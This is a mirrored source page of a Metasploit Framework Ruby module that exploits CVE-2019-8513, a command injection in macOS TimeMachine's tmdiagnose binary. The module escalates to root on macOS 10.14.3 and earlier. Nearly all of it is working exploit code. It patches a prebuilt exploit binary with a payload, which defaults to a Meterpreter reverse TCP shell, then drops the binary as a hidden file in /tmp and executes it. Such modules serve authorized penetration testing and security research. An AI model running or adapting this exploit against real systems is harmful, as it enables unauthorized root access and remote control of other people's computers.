CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/timemachine_cmd_injection.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Post::OSX::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
18
'Description' => %q{
19
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
20
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
21
from a command injection vulnerability that can be exploited by creating a
22
specially crafted disk label.
23
24
The tmdiagnose binary uses awk to list every mounted volume, and composes
25
shell commands based on the volume labels. By creating a volume label with the
26
backtick character, we can have our own binary executed with root priviledges.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'CodeColorist', # Discovery and exploit
31
'timwr', # Metasploit module
32
],
33
'References' => [
34
['CVE', '2019-8513'],
35
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
36
['URL', 'https://support.apple.com/en-in/HT209600'],
37
['URL', 'https://github.com/ChiChou/sploits'],
38
],
39
'DefaultTarget' => 0,
40
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
41
'Targets' => [
42
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
43
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
44
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
45
],
46
'DisclosureDate' => '2019-04-13'))
47
register_advanced_options [
48
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
49
]
50
end
51
52
def upload_executable_file(filepath, filedata)
53
print_status("Uploading file: '#{filepath}'")
54
write_file(filepath, filedata)
55
chmod(filepath)
56
register_file_for_cleanup(filepath)
57
end
58
59
def check
60
version = Rex::Version.new(get_system_version)
61
if version >= Rex::Version.new('10.14.4')
62
CheckCode::Safe
63
else
64
CheckCode::Appears
65
end
66
end
67
68
def exploit
69
if check != CheckCode::Appears
70
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
71
end
72
73
if is_root?
74
fail_with Failure::BadConfig, 'Session already has root privileges'
75
end
76
77
unless writable? datastore['WritableDir']
78
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
79
end
80
81
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
82
if target['Arch'] == ARCH_X64
83
root_cmd = payload.encoded
84
else
85
root_cmd = payload.raw
86
if target['Arch'] == ARCH_PYTHON
87
root_cmd = "echo \"#{root_cmd}\" | python"
88
end
89
root_cmd = "CMD:#{root_cmd}"
90
end
91
if root_cmd.length > 1024
92
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
93
end
94
95
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
96
exploit_data[placeholder_index, root_cmd.length] = root_cmd
97
98
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
99
upload_executable_file(exploit_file, exploit_data)
100
101
print_status("Executing exploit '#{exploit_file}'")
102
result = cmd_exec(exploit_file)
103
print_status("Exploit result:\n#{result}")
104
end
105
end
106
107